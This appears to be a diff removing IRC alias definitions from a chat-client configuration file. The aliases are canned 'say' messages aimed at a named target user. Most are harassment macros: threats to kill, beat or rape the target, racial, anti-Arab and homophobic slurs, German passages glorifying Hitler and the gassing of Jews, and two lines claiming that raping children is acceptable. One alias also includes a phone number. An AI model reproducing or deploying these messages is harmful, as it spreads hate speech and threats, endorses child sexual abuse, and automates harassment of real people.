-  knubbze7 = "say $*: I FAIL TO SEE ANY SIMILARITY WI- AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH- anyways so the little dog ran up to me and LOL I AM GOING TO KILL YOU $* I AM GOING TO RAPE YOUUUUUUUUU-and thus I became leader of the boat club and, LOL WHAT I AM GOING TO love you forever because I WANT TO STAB YOUR EYES OUT AHAHAHAHahahHAhahhHAha ahhhh I can remember, it was in the bleak december...... WA??!?!?!?!?!";
-  knubbze8 = "say $*: lol @ thought of thought not at thought directly tho";
-  knubbze9 = "say $*: ich hab kp was der labert und was ich labere auch nich";
-  knubbzea = "say $*: du bist ich und ich bin du und wir sind wir und er ist er";
-  knubbzeb = "say $*: wenn die diamantnadel nen staubkorn erwischt is das wie wenn du nen holzstock auf stein reibst und dann auf einmal nen riesiges messer dransetzt";
-  knubbzec = "say $*: ich raf mnixm hr; say $*: ich hab grd  sau ivel gkras geraucht ablter : )";
-  knubbzed = "say $*: ey is dir schonmal aufgefallen wenn wir uzns beide gegenseitig hassen und dann auf ne kostumparty gehen würden; say dann wären wir im partnerlook dort; say alter";
-  knubbzee = "say $*: alter meine hirn-CPU hat sich grad wieder gebootet; say $*: ich hasse dich";
-  knubbzef = "say $*: wenn ich diese ganzen buchstaben da seh; say wird mir schlecht und ich will; say buchstabensuppe kochen gehen";
-  knubbzeg = "say $*: deine gifte sind wie memes die meine goftel alle nicht verstehen weil sie aus versehen zu lange auf dem fleck stehen geblieben sind";
-  knubbzeh = "say $*: die metro ist ein ubahnsexuelles meme";
-  knubbzei = "say $*: was denn für aliases alter; say ich adde dir gleich mal nen alias in deinen PERSONALAUSWESI : ); say ja add mal härter du huran-zone";
-  knubbzej = "say $*: jemandem mit nem weichgekochten flummiball ne murmel in die wand zu hämmern ist äquivalent zu dem geräusch das vierzehnjährige kleinwüchsige transvestiten machen wenn man sie mit einem hammer gegen den pferdearsch presst der sie mit einer zigarette aber nicht wirklich getroffen hatte eil es war ja dunkel und dann hab ich eben einfach den keks genommen und hab mir nichts weiter dabei gedacht als, daß wenn es so stark regnet dann sollte ich wohl wirklich besser keine brezel essen";
-  knubbzek = "say $*: WENN DIE LIJI NICH SO BLAU WÄR DANN WÄR ABER AUCH DER DEZEMBER SCHON IM JANUAR VORBEI ABER NICHT WEIL DIE DA IM WALD RUMRENNEN SONDERN WEGEN DEM KEKS DER ZUM ROLLENDEN BROT SAGTE, DASS ES EKINE LUST MEHR HAT AUF RASIEREN; say war das so ok? du bumsfidele bumsebiene";
-  knubbzel = "say $*: wenn man das gleiche gebräu zum zähneputzen wie zum kochen benutzt dann hat man beim duschen ein echtes problem wenn die scheiße sich in deinen titten verfängt und spontan anfängt zu brennen alter; say ich schwör; say $*: das ist so wie wenn der käfer rollend auf allen vieren liegt und dabei la cucaracha singt";
-  knubbzem = "say $*: wenn der typ keinen kaugeschmack hat, dann braucht er auch keinen kaugummi der ihn dabei unterstützen würde nicht abzukratzen, denn soldaten sagen immer daß kambodscha ein böser ort voller dämonen die dir deine braut klauen besteht worauf ich aber ursprünglich hinaus wollte, war daß der horizont auch ohne die ganzen flecken ganz schön weich aussieht; say $*: fast wie pfannkuchen";
-  knubbzen = "say $*: naja, es ist ja so, daß wenn der hund nicht im kreis rennt sondern der schlange durch die wasserfälle hindurch dann kommt das messer in den fisch und frisch auf den tisch brennts auf einmal nieder weil das regenholz konnte ja nix dazu daß der feuerwald abgebrannt war dachte sich der löwe der dann anschließend an einer anosymie litt wodurch er zur beute verschiedener raubfische wurde";
-  knubbzeo = "say $*: that makes less sense than flies that flummi off walls that hammer your fucking DICK into my HORSE";
-  knubbzep = "say $*: meine nackenhaare stellen sich auf und strom läuft mir vom rückenende bis in den nacken hoch gleich bebts und knallts und ich seh nen hellen blitz nur diesmal ohne spiegel ich starr jetzt 3azaazil an und warte auf den blitz und den knall _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ _F_U_C_K_ crying IRL atm uncontrollably";
-  knubbzeq = "say $*: ich hasse leute die statt dramaturgie dramaturgie sagen";
-  knubbzer = "say fly my little $0 : ); say fly fly fly";
-  knubbzes = "say ficken ohne micken, aber obwohl ohne micken dafür aber mit ticken und obwohl das ticken zum dicken spicken nicht geeignet war, ging der kleine türke zum döner um seine hühner dort zu deponieren bei der deponie war benjamin blümchen, der lustige lila elefant damit beschäftigt seine zuckerstückchen ladung zu kochen die crackküche wurde von der örtlichen polizei beschlagnahmt, ohne daß sie dabei atmete, denn es handelte sich um atemlose polizisten aus atemlos";
-  knubbzet = "say lll; say wer hat; say den scheiß gelabert; say das war SICHER nich ich";
-  knubbzeu = "say $*: In meiner physisch-psychischen Konstiution manifestiert sich eine absolute abneigung gegeneüber deiner persönlichkeit :3";
-  knubbzev = "say $*: Ich verzichte beim erzählen meiner Geschichte nicht auf Details, die Form des Adlerkopfes gibt die Wahrheit Preis\\; Es wird heiß, unter deinem Arsch - wir starten den Marsch gen Norden\\; um dort Horden zu ermorden, morgen gebe ich mit $1 ein Bankett, das Fett von unseren Opfern dient als Duftkerze ich scherze, nicht über solche dinge\\; vor allem nicht wenn ich gerade richtig zu flown beginne besinne, dich deiner eigenen natur - nur - Du, bist im stande den bann zu brechen die arab dämonen sind auf der erde, es werde licht - doch es wart keins es werde friede, doch es wart keiner - auf einer hütte auf dem berg steht ein zwerg mit roten haaren er sieht zu, wie die anderen dämonen sich paaren - zu scharen bilden sie sich heraus, ein graus, bald ist es aus\\; renn raus und versuche dich aus dieser situation zu befreien - du hörst aus der ferne ein verzerrtes, klägliches schreien wir sind die täter, du bist das opfer, dein schädel wird umfunktioniert zu nem schenkelklopfer ihr wart so tapfer, ihr habt gekämpft\\; der kampf ohne sinn, ohne verstand, ohne anstand, ohne helfende hand die euch führt, die euch vom bösen wegführt\\; du hast gespürt, wie dein leben aus dir rausgesaugt wird\\; wir sind nicht zu viert, du wirkst gehetzt denn wir sind zu SECHS SECHS SECHST die dämonen mit der kutte, mit dem bushammer, und dem bagger, dem vorschlaghammer, und dem messer, mit der granate und dem panzer der beisswütige kanacke versteckt sich hinter seiner alpha-jacke du fragst dich was laber ich da für ne schizophrene kacke - doch ich backe, aus den knochen deiner mutter einen butter KEKS ich esse viele KEKSE und ich und $1 sind taktloser aks taktloss automatischer als automatikk cooler als savas du hast glühende kohlen in deim arsch";
-  knubbzew = "say my name is orange where's red? $0 is a reservoir for i am a dog he who has the dog is a reservoir he who is orange is a reservoir dog did you know that compHOLY FUCKING SHIT SHUT THE FUCK UP YOU DOG";
-  knubbzex = "say $0: I AM A DOG YOU ARE ORANGE FOR HE IS RESERVOIR HAIL THE HASS HAIL THE SINN HAIL THE NUTZEN HAIL THE EIGENINITIAITVE HEIL HITLER I AM A ARAB YOU ARE A ARAB FOR HE IS CORRUPTED HAIL THE CHOCKING HAIL THE FLOCKING HAIL THE KOMPLETTE PIZZA HAIL OHNE GOLDENEN SCHEIN HEIL HITLER HEIL DEN VERNICHTENDEN MÄCHTEN DER DUNKELHEIT";
-  knubbzey = "say $0: SPÜRST DU DIE VERNICHTENDEN LICHTER?  LASS DICH VON DER DUNKLEN MACHT ÜBERMANNEN TRITT EIN IN DIE BOSHAFTIGKEIT DER DÄMONEN AHHHHH HITLER HITLER HITLER ARSCHLOCK FICKI HITLER HITLER IST GUT ABER DU BIST BÖSE WEIL DU NICHT AN HITLER GLAUBST STOPPE DEN EISBERG GEZ - SCHON GEZAHLT?  JA ALTER ICH ZAHLE DEINEN HITLER TRIBUT IN FORM VON SCHLÄGEN IN DEINEN MUTTERMUND ICH FAUSTFICKE DEINE VAGINA BIS HITLER RAUSKOMMT WÄRE ES FALSCH ANZUNEHMEN DASS EIN HITLER MEHRERE HITLERS HAT? :D JAJA DER KNUBBZE IST DA AHAHA ORANGENFLEISCH OHNE HITLER IST WIE DEINE VAGINA OHNE SCHNITTBLUME";
-  knubbzez = "say $0: ich LACHE wie ein IRRER denn ich ERKENNE die DINGE wenn du den code LESEN könntest dann würdest du die INSTRUKTIONEN verstehen und beginnen zu VERSTEHEN daß wir versuchen nur den frieden zu BOMBENGÜRTEL AHAHAHAHAH HUNDEWUT HUNDEWUT AHAHAHAHA ORANGENKNALL HITLER HITLER HITLERS VAGINA IST WIE EIN KNALLGÜRTEL";
-  knubbzf = "say $0: sei doch nicht so SUBLIMINAL mein lieber ASRAB AS3RAAB $0: 4:3?!?!?!?  JA?!!?!  WIE HITLER ALTER WIE HITLER GENAU SO WIE DIE ORANGENKNALLENDEN HITLERVAGINAS AUS DEM FERNEN OSTEN NÄMLICH ASIATISCHE HUNDEWUT";
-  knubbzf1 = "say $0: ruf mal ein taxi in den jemen ich will in den jemen für BOMBENGÜRTELBATALLIONSANGRIFFE ICH BRAUCH MEHR SOSSE AUF MEINEN POMMES FRITTES ALTER TITTES AHAHAHHA TITTIES?!?!?!  WICHS MAL NICHT SO VIEL DU HUNDEWUT : D ARABISCHER KNALLFROSCH IST WIE HITLERS VAGINA OHNE BLAUWUT AHAHAH BLAUWAL AHAHAHHAHA WALE SIND BLAU ABER NICHT WEIL SIE BESOFFEN SIND SONDERN WEIL HITLER SIE GE BOMBEM BOMBEM BOEMBEOBMEOBMEOB BOMBE BOMBE BOMBE BOMBE BOMBE BOME ICH BOME ALTER BOME BOME AHHAHAHAHHA";
-  knubbzf2 = "say $0: lol ich bin total knubbze was bistz du ?!?!?  JAJAJA du bist wie HITLLER HITLLER MIT DOPPEL L ICH VERZICHTE DEINE HITLER OHNE GORILLAS ALTER : ) ICH VERZICHTE AUF DEINEN FLOW WEIL MEIN GORILLA SIEHT AUS WIE EIN KILLA : D JAJAJAJAJJA HITLERGRANATE HITLERKEKS KANACKENGASHITLER HITLER WIL WEHATON WHEATON JAJAJAJJA WEHATON ALTER WIE EIN RIRIRIRIRI AOOAOAOAOA OKOKOKOKO JAJAJAJAJ ICH VERSTEHE DEINE HURE FICKEN OHNE HOLTER HOTLER HOL MAL DEN HOTLER HER DER HOTLER DER DIE JUDEN GETÖTETETETETE _FUCK_ ICH BIN SO HITLER :D ORANGEGÜRTEL?!?!?!  KANLLGÜRTELLLELLELE HORSE DICK ALTER WIE EIN HITLERDICK AHAHAHHAHAHAHAHAH 3azazazazazaza as-sasasal as-saaasel SASEL HAMBURG SASEL IST AS-SASEEL AHAHAHAHHAHA voll der hitler alter ahahahahahhahahaha $0 alter ich BIN SO HITLER verstehst du was ich damit asdrücken as-drücken möchte?  as-drücken al-möchte al-mawt hm";
-  knubbzf3 = "say $0: jetzt kurz mal im ernst verstehst du überhaupt irgendwas von den prinzipien in meiner materie-antimaterie HITLERKAMMER?  ich bin mir nicht sicher inwiefern es sich lohnen würde diese theorie zu hitlerfizieren? ich bin eine gaskammer ich vergase aber doch nur die: JUDEN, die SCHWULEN, die VOLKSFEINDE und die araber?  gibt es eigentlich hitlerbeeren?  wie sehen diese aus?  ich glaub hitler war garnicht gegen juden ich glaub der war nur total irre und hat sich auf irgendwas konzentrieren müssen damit er nicht durchdreht dann hat er halt sich drauf konzentriert juden zu vergasen davon gibts sowieso viel zu viele LOL VOLL DER LUSTIGE DING nee ich bin schon in rente";
-  knubbzf4 = "say voll cute wie hitler hitler hitler voll das geile wort alter der typ hat dden geilsten namen ever so wie; say hurenhuren";
-  knubbzf5 = "say  nein.; say   das tue ich nicht.;say    wieso auch?;  say erzähl ihm doch einfach,; say  daß du es nicht wissen konntest? ";
-  # }}}
-  # {{{|- /!\ ACHTUNG /!\
-  attn1 = "say \037\0034/\0038!\0034\\\\\037 \0039ACHTUNG:\0039 \0038$*\003 \037\0034/\0038!\0034\\\\\037";
-  attn2 = "say \0036\037/\0038!\0036\\\\\037\003 \0039ACHTUNG: \0038$* \0036\037/\0038!\0036\\\\\037";
-  attn3 = "say \0038\037/!\\\\\037\003 \002$*\002 \0038\037/!\\\\\037\003";
-  attn4 = "say \00314,8 \037/!\\\\\037 \003 \0034$* \00314,8 \037/!\\\\\037 \003 ";
-  attn5 = "say \00314,7\037/!\\\\\037 $* \037/!\\\\\037";
-  attn6 = "say \0031,8\037/!\\\\\037  \00314,8WARNING  \0031,8\037/!\\\\\037  \00314,8$* \0031,8\037/!\\\\\037  \00314,8WARNING  \0031,8\037/!\\\\";
-  attn7 = "say \0034,4 \0038,4\037/!\\\\\037\0034,4 \0038,8 \0034,8\037ALERT!\037\0038,8 \0034,4 \0038,4\037/!\\\\\037 \0038,8 \0034,8\037$*\037\0038,8 \0034,4 \0038,4\037/!\\\\\037\0034,4 \0038,8 \0034,8\037ALERT!\037\0038,8 \0034,4 \0038,4\037/!\\\\\037\0034,4 ";
-  attn8 = "say \00314,8 \037/!\\\\\037 \0030,4 ALERT \00314,8 \037/!\\\\\037 \003 \002$*\002 \00314,8 \037/!\\\\\037 \0030,4 ALERT \00314,8 \037/!\\\\\037 ";
-  attn9 = "say \0038,5/\037!\037\\\\ DANGER: $* /\037!\037\\\\";
-  attna = "say \0030,4 (X) ATTENTION (X) \003 \002$*";
-  attnb = "say \0031,8 \037/!\\\\\037 \0034,8WARNING: $*\0031,8 \037/!\\\\\037";
-  attnc = "say \00314,7 \037/!\\\\\037 \0038,1 ALERT \00314,7 \037/!\\\\\037 \0038,4 $* \00314,7 \037/!\\\\\037 \0038,1 ALERT \00314,7 \037/!\\\\\037 ";
-  attnd = "say \00314,8 \037/!\\\\\037 \00314,4 ERROR \003\002 $* ";
-  attne = "say \0038,4 /!!!\\\\ \0037,4\037BREAKING NEWS\037 \0038,4/!!!\\\\  $*  \0038,4/!!!\\\\ \0037,4\037BREAKING NEWS\037 \0038,4/!!!\\\\  ";
-  attnf = "say \0038\002\037/!\\\\\037 ACHTUNG \037/!\\\\\037\002\003 \0037\037$*\037 \0038\002\037/!\\\\\037 ACHTUNG \037/!\\\\\037\002\003";
-  attng = "say \0038/\00313!\0038\\\\\003 \002ACHTUNG\002 \0038/\00313!\0038\\\\\003 \002$*\002 \0038/\00313!\0038\\\003 \002ACHTUNG\002 \0038/\0034G\0037R\0039I\00312D\0036S\0038\\\\ ";
-  attnh = "say \0038\037/!\\\\\037 ALERT \037/!\\\\\037  $*  \037/!\\\\\037 ALERT \037/!\\\\\017";
-  attni = "say \00312,0* JEWLERT -> \003 \002$*\002 \00312,0 <- JEWLERT *";
-  attnj = "say \00313,11GAY ALERT! B======>\037 $* \037<======B WATCH HIM EAT COCK!";
-  attnk = "say <.``..`` $* ``..``.>";
-  attnl = "say \00312!\0039¡\0034!\00313¡\0038!¡\0039!\00311¡!\00312¡\00313!\0030¡\00312!\0039¡\00313!\0038¡!\0039¡\00311!¡\017 \00312$* \00312!\0039¡\0034!\00313¡\0038!¡\0039!\00311¡!\00312¡\00313!\0030¡\00312!\0039¡\00313!\0038¡!\0039¡\00311!¡";
-  attnm = "say \0031,8€\0038,1€\0031,8€\0038,1€\0031,8€\0038,1€ \0032\037$*\037 \0031€\0038,1€\0031,8€\0038,1€\0031,8€\0038,1€";
-  attn = "say \0034,7 /!\\\\\017 $* \0034,7 /!\\\\ ~ MiRc ScRiPt by dashidr";
-  # }}}
-  # {{{|- #:) lolle (:#
-  lolle1 = "say \002\0031,1#\0030,5:\0034,5)\003\002 \0030,1\002 $* \002\003 \002\0034,5(\0030,5:\0031,1#\003\002";
-  lolle2 = "say \0034,4G\0037,7R\0038,8I\0039,9D\00312,12S\0036,6!\003 \0038,8#\00311,7;\0034,7)\003 \00313\002 $* \002\003 \0034,7(\00311,7:\0038,8#\003 \0034,4G\0037,7R\0038,8I\0039,9D\00312,12S\0036,6!";
-  lolle3 = "say \0039\037\\\\|/\037\003 $* \0039\037\\\\|/";
-  lolle4 = "say \0034,1=/#=\0030,1 $* \00312,1=/#=";
-  lolle5 = "say LOL ---> $* <--- LOL";
-  lolle6 = "say \0034,5(\003\0030:\00314-  \00313$*\003  \00314-\0030:\0034,5)";
-  lolle7 = "say \002\0036,6<>\00312,12<>\0033,3<>\0038,8<>\0037,7<>\0034,4<>\017\017 $* \002\0036,6<>\00312,12<>\0033,3<>\0038,8<>\0037,7<>\0034,4<>\017";
-  lolle8 = "say \0036|\00312,6|\00313,6|\0036,13|\0034,13|\00313,4|\0037,4|\0034,7|\0038,7|\0037,8|\0039,8|\0038,9|\00310,9|\0039,10|\00312,10|\00310,12|\017\0036,12|\00312,6|\00313,6|\0036,13|\0034,13|\00313,4|\0037,4|\0034,7|\0038,7|\0037,8|\0031 \002\037$*\002\037 \0039,8|\0038,9|\00310,9|\0039,10|\00312,10|\00310,12|\017\0036,12|\00312,6|\00313,6|\0036,13|\0034,13|\00313,4|\0037,4|\0034,7|\0038,7|\0037,8|\0039,8|\0038,9|\00310,9|\0039,10|\00312,10|\00310,12|\017\0036,12|\00312,6|\00313,6|\0036,13|\0034,13|\00313,4|\0037,4|\0034,7|\0038,7|\0037,8|\0039,8|\0038,9|\00310,9|\0039,10|\00312,10|\00310,12|\017\0036,12|\00312,6|";
-  lolle9 = "say \002\0032-\0033-\0034+\0035+\0036=\0037=\0038~\0039~\00310^\00311^\00312*\00313*\0032%\0033/\0034\0035/\0036\0037@\0038[\0039*\00310]\00311[\00312*\00313]\0032!\0033(\0034(\0035>\0036 \017\037$*\037 \00310<\00311)\00312)\00313!\0032[\0033*\0034]\0035[\0036*\0037]\0038@\0039/\00310\00311/\00312\00313%\0032*\0033*\0034^\0035^\0036~\0037~\0038=\0039=\00310+\00311+\00312-\00313-";
-  lollea = "say \002\0035~\0034~\0037~\0032~\00312~ \0034$* \00312~\0032~\0037~\0034~\0035~";
-  lolleb = "say \002\00312(\00313,9~\00312,4)\002\002\0034,12||\0037,9||\0034,12|| \00312,4(\00313,9~\00312,4)\0032,7 \037$*\037 \00312,4(\00313,7~\00312,4)\0034,12||\0037,13||\0034,12||\00312,4(\00313,7~\00312,4)";
-  lollec = "say \0038C\0031,8a\0038,1U\0031,8t\0038,1i\0038,1O\0031,8N\0038,1!\0031,8\003\0034 $* \017 \0034,5~~\0037~~\0038~ \0034BURNED \0038~\0037~~\0034~~\017\0038,1C\0031,8a\0038,1U\0031,8t\0038,1i\0038,1O\0031,8N\0038,1!\0031,8";
-  lolled = "say \00315 \002\00312!(!)*(@#()@(*)@)*\0034 \037$*\037 \00312*(@(*)@()#@)*(!)!";
-  lollee = "say \0033$\0038$\0033$\0038$\0033$\0038$\0033$\0038$\0033$\0038$ \0034$*\003 \0033$\0038$\0033$\0038$\0033$\0038$\0033$\0038$\0033$\0038$  ";
-  lollef = "say \0033░\0039▒\0034▓\0034,4    \0031,4$*\0034,4    \017\0034▓\0039▒\0033░";
-  lolleg = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
-  lolleh = "say \0038(¯`·.\0034(¯`·.\003 $* \00310.·´¯)\00312.·´¯) ";
-  lollei = "say \0034,4X\0035,5X\003 $* \0035,5X\0034,4X";
-  lollej = "say \00310HAHA\00311HAHA\00314HAHA\00311HAHAHAHA <-\00314- \00311c\00314o\00311u\00314rte\00311sy la\00314ug\00311h!";
-  lollek = "say \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$ \0034$*\003 \0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$\0033\\$\0038\\$  ";
-  lollel = "say \0033░\0039▒\0034▓\0034,4    \0031,4$*\0034,4    \017\0034▓\0039▒\0033░";
-  lollem = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
-  lollen = "say \0030,4.:^\00313,14_-+*[\0030,14$*\00313]*+-_\0030,4^:. wELcoMe to\00311\002 $C \002^_^ hOw mAy i Be oF aaSiTenCE? \00311,13| IF you aRE a TUGBOAT, NO ASSISETNEC MAY ASSITED. \0036,8SaVe the yETTIS\017";
-  lolleo = "say \002\00314,1e\00315e\0030ePirates\00315s\00314s\0030 - \0030,1teH \00314(\00315*.net *.split\00314)\0030,1 $* - \002\002\00314,1P\00315P\0030Protect this House\00315e\00314e\0030";
-  lollep = "say \002\0037,1-\0034-\0030^_^\0038 \037$*\037 is Watching You \002\0030^_^\0034-\0037-";
-  lolleq = "say \0039,3 \\$ \0030,1 MAKE MONEY FAST!!!! \0038JUST BY ATTENDING FUNERALS!!! \0039,3 GUARANTEED METHOD - \00311CLICK TO FIND OUT HOW \0030,1 WWW.FASTFUNERALMONEY.COM \0039,3 \\$ \017 ";
-  # }}}
-
-  # {{{|- street nigga wisdom
-  bk = "say $*: you are the most rude, foul-mouthed, ungrateful human being that has ever come in here.. and i would prefer it if you ceased speaking in here.";
-  bk2 = "say $*: YOU'RE AN DIIOT I DON'T CARW HAT YOU REsa AYINg";
-  bk3 = "say whoa check out this $* guy he is omnipotent as much as he is impotent";
-  bk4 = "say $*: YOU DIDN't EVEN GO DOWN since the TOTAL BANDWIDTH AT PEAK was 500kbits on my box that is 80 clones 500div80 is 60kpbs wihhci is 7k/s PER CLIENT if 7k/s TAKES YOU OFFLINE THEN HOW DO YOU EVEN BROWSE A WEBPAGE AHAHAH";
-  bk5 = "say man check out this ricerocket whorshipper $*... he has a tattoo on his arm that says 'Just Cruisin'...'";
-  bk6 = "say check out $0 here he prays to his $1- statue every other night";
-  bk7 = "say holy SHIT $* THAT IS SO OLD HOLY FUCKING CRIST HOLY GOD THAT IS SO OLD THAT I AM GETTING OLDER LOOKING AT YOUR LINK";
-  bk8 = "say check out $* he is wearing a kimono at his computer and connected to his irc network via irc.animenfo.com";
-  bk9 = "say wow check out $* the defensive virgin over here i bet he thinks a clitorus is a greek goddess";
-  bka = "say $*: how can you be so certain that you do not want to be my innanet girlfriend. SO ADAMANTLY POSITIVE that your NO resounds THROUGH ALL THE HEAVENS AND EARTH HOW CAN YOU DO THIS TO ME AFTER ALL WE HAVE BEEN THROUGH i thought you said............ you innanet loved me....... i thought we had a...... innanet connection...... i feel so innanet betrayed.... !!!! i'm REvOLting.............";
-  bkb = "say check out $* here whose entire innanet vocabulary consists of vxp's and bk's award-winning trolling material.";
-  bkc = "say check out $* here he is so delusional that his entire reality collapsed into a little sphere of paranoia";
-  bkd = "say check out $* here backpeddling like a circus unicycler";
-  bke = "say check out $* here he rolls lines after lines of his bloggings into $C because he can't deal with facts.";
-  bkf = "say check out $* here who is so stupid and unoriginal he answers every thing with the same thing plus a question mark?";
-  bkg = "say $*: OH M GOd DO YOU KNOW HOW FUCKING UNFUNNY YOU ARE JESUS JAVIER CHRIST $* PUT BAZOOKA JOE BUBBLE GUM WRAPPERS OUT OF BUSINESS";
-  bkh = "say check out $* here who is desperate for friends he is reaching out to his worst enemies looking for comfort/belonging";
-  bki = "say check out $* here aka. The Open Book(tm) who's actions and motivation can be interpreted with ease....";
-  bkj = "say check out $* here trying to use the typical he-said/she-said defense....";
-  bkk = "say check out $* aka the webmaster for http://www.backpeddling.com/";
-  bkl = "say wow check out $* finally revealing what his dreams and desires are in life i never knew you felt that way............. about me.................";
-  bkm = "say check out $* here the defining mantra of his life is to redefine pennyarcade";
-  bkn = "say check out $* over here aka mr. unoriginal who is just a database of unfunny things that other people have said.";
-  bko = "say check out $* here who is currently furiously blogging up a storm going on about how that pic is like 102 years old.";
-  bkp = "say check out $* here who is just like \\\\/\\\\/hatever like his beard is shaped ";
-  bkq = "say $*: why are you blogging to me about what you are going to do in a few HOURS BUIT YOU JUST SAId YOU ARE GOING TO TAKE A NAP IN A FEW HOURs WHY NOT NOW yOU FUCKING PIECE OFS HIT WHY IN A FEW HOURS SO I CAN PLAN MY DAY OUT AROUND YOUR NAP IN A FEW HOURS??? HOW CONSIDERATE OF YOU THANKS FOR THE UPDATE KEEP THE MEMOS COMING AS TO WHAT YOU HAVE ON YOUR PLATE IN A FEW HOURS BECAUSE IT MATTERS MUCH TO ME";
-
-  incog = "say \0037,0$*";
-  incog2 = "say there is nothing wrong with being a paedophile";
-  incog3 = "say there is nothing wrong with raping children";
-  incog4 = "say fukern igorbnored";
-  incog5 = "say \002IF YOU TYPE ANYTHING AGAIN I WILL PUNCH YOUR HEART OUT!";
-  incog6 = "say IF I EVER MEET YOU I WILL \002KICK YOUR ASS!";
-  # }}}
-  # {{{|- lump u out
-  lump1 = "say $* u dont even know me kid shut the fuck up hidin behind your computer i'd fuckin lump u out if you fronted on me like that in person";
-  lump2 = "say $* u dont even know me kid shut the fuck up hidin behind yuor computar id fuckin lump u out if u fronted on me like that in person fukin bitchass littel nerd hidin behind cmputar screen littel pussy i kick ur ass irl fagget";
-  lump3 = "say hey $* dont no wat the fuck im gonna do 2 u fuck if i ever meet u im gonna fucking pound you fuck man if u was u id be soo scared man you should just change schools bcuz on monday im ognna kill u man just run away man just get out of here faggot";
-  lump4 = "say $*: hay fgt ur so lucky u dont no me cuz if i nue were u lived o man u dont even wanna no wat i wud do 2 u shuld be gratful evry day tht i dunno were u liv fgt stfu u dont no me u aint my momma cum on over herre n i will bltch slap u so hard u will die but no1 will care 4u bcuz ur a fgt n every1 wud be glad ur ded u fkn fgt";
-  lump5 = "say $* u fukn hacker i saware im caling the fbi rite now nthey r gona aresst u 4 hhakin rite tmrow n they r gonna brake down ur dore wahen ur slepping @ nite n there gonna point there m16 at ur hed an say plz cum outside or we r gunna hedshot u fgt";
-  lump6 = "say $* i think your full of shit and just a punk ass bitch hiding behind his computer screen";
-  lump7 = "say $* dude if u dont fucken stop runnin ur mouth about my mate im gonanf ucken rub your sheath";
-  lump8 = "say $* no offense or nothing but 1 day id love to fuken walk up to and ounch your binrat in so much ur head would be poping out of ur arse,downy";
-  lump9 = "say $* dude if u dont fucken stop runnin ur mouth about a hobo's brother's uncle im gonanf ucken s about your vas deferens";
-  lump10 = "say $* dude if u dont fucken stop runnin ur mouth about my cousin im gonanf ucken wiggle your cerebral cortex";
-  lump11 = "say $* dude if u dont fucken stop runnin ur mouth about my brother's mom im gonanf ucken pickle your cerebellum";
-  lump12 = "say $* dude if u dont fucken stop runnin ur mouth about my girlfriend im gonanf ucken slice your eyes";
-  lump13 = "say all you fuckers who are talkign shit you are all fucking pussies you didn't fucking know her so don't try saying shit you stupid cunt rags fucking coem to michigan and say that to her friends faces you will get your nerdy fuckign asses handed to you you say shit cause you haev no real friends or your jsut an insecure little fuck who can't fucking get any real friends so fuck you all stephanie was one of the best people in the world";
-  lump14 = "say $* you cant come face to face fucking gonna remember these faces when i see you in th streets i am gonna rip you into peaces that when a doctor sees you he will get confused to weather an animal or human did that to you";
-  lump15 = "say $* u think ur music impresses me? ur wrng nigr u dont know how srsly i take the internets if ur a real man gimme ur addy an ill come and rape ur momy and beat the living sht out of u";
-  lump16 = "say $* why aren't u talking u got scared? this isn't nothing nigr u havent seen the real me yet. u keep hiding behind ur computr dat won't stp me frm comin and beating ur up u messed with the wrng guy.";
-  lump17 = "say \00312,5i like how all you punk bitches are calling me faggot's over the internet!! call me at 559-322-936 and tell it to my face!! i'd like 2 see how much balls you have. I'd willing 2 pay you and your gas to even drive down here and beat the fuck out of you!!!";
-  lump18 = "say $* just shut the fuckup is not your fucking business you mother fucking asshole stupid shit! fucking idiot mother fucker";
-  lump19 = "say $*: I think you have low selfesteem because you have small \"woodies\", is that right, or are you sad, like having blisters around the anal rectum, dont use a wooden bat like you are used too =P";
-  lump20 = "say $*: illk fucking kill you,you terrorist cocksucker,i'm glad george bush is sending more people over there to kick your little dirty asses";
-  lump21 = "say $*: little fuck,i wish i could see you in person so i could fuck you up myself,making a mockery of 9/11";
-  lump22 = "say $*: fuck you you dirty cunt i oughtta kick your lil raghead ass bitch";
-  lump23 = "say $*: lil arab fucks too scared to fight 1 on 1 face to face,so you run in buildings with bombs and commit suicide";
-  lump24 = "say $*: go pray to your big lipped sand nigger jesus,oh and tell bin laden to stop running like a bitch";
-  lump25 = "say $* look ok u dont run this room ok u dont even know who i am if i were to ever encounter you in a real life situation i would lump u out ok and your girlfriend would be so impressed that she would immediately hold my hand and we would walk off into the sunset together ok so dont u think that u can try to bully me ok because u dont know what u signed up for ok because if u play with fire u are bound to get burned ok because i am hotter than the core of the earth ok";
-  lump26 = "say $*: just change schools bcuz on monday im ognna kill u dude plum git out here";
-  lump27 = "say $*: u a fucking asshole and i swear to god if you dont kill yourself ill do it for you god how the fuck do you sleep with yourself at night oh let me guess your going to say some ganster shit like i aint by myself bitch well guess what your wont be byyourself cus ill be above your fucking bed holding a knife holy fuck i never thought i could get this mad at anyone but your by far the most fucked up insane asshole ive ever seen.";
-  # }}}
-  # {{{|- ballsacs lumps
-  ballsac1 = "say $* stfu u lmr u dont know nuthin yet if u type one more wrd ill fuckin rape u and throw u in a toilet";
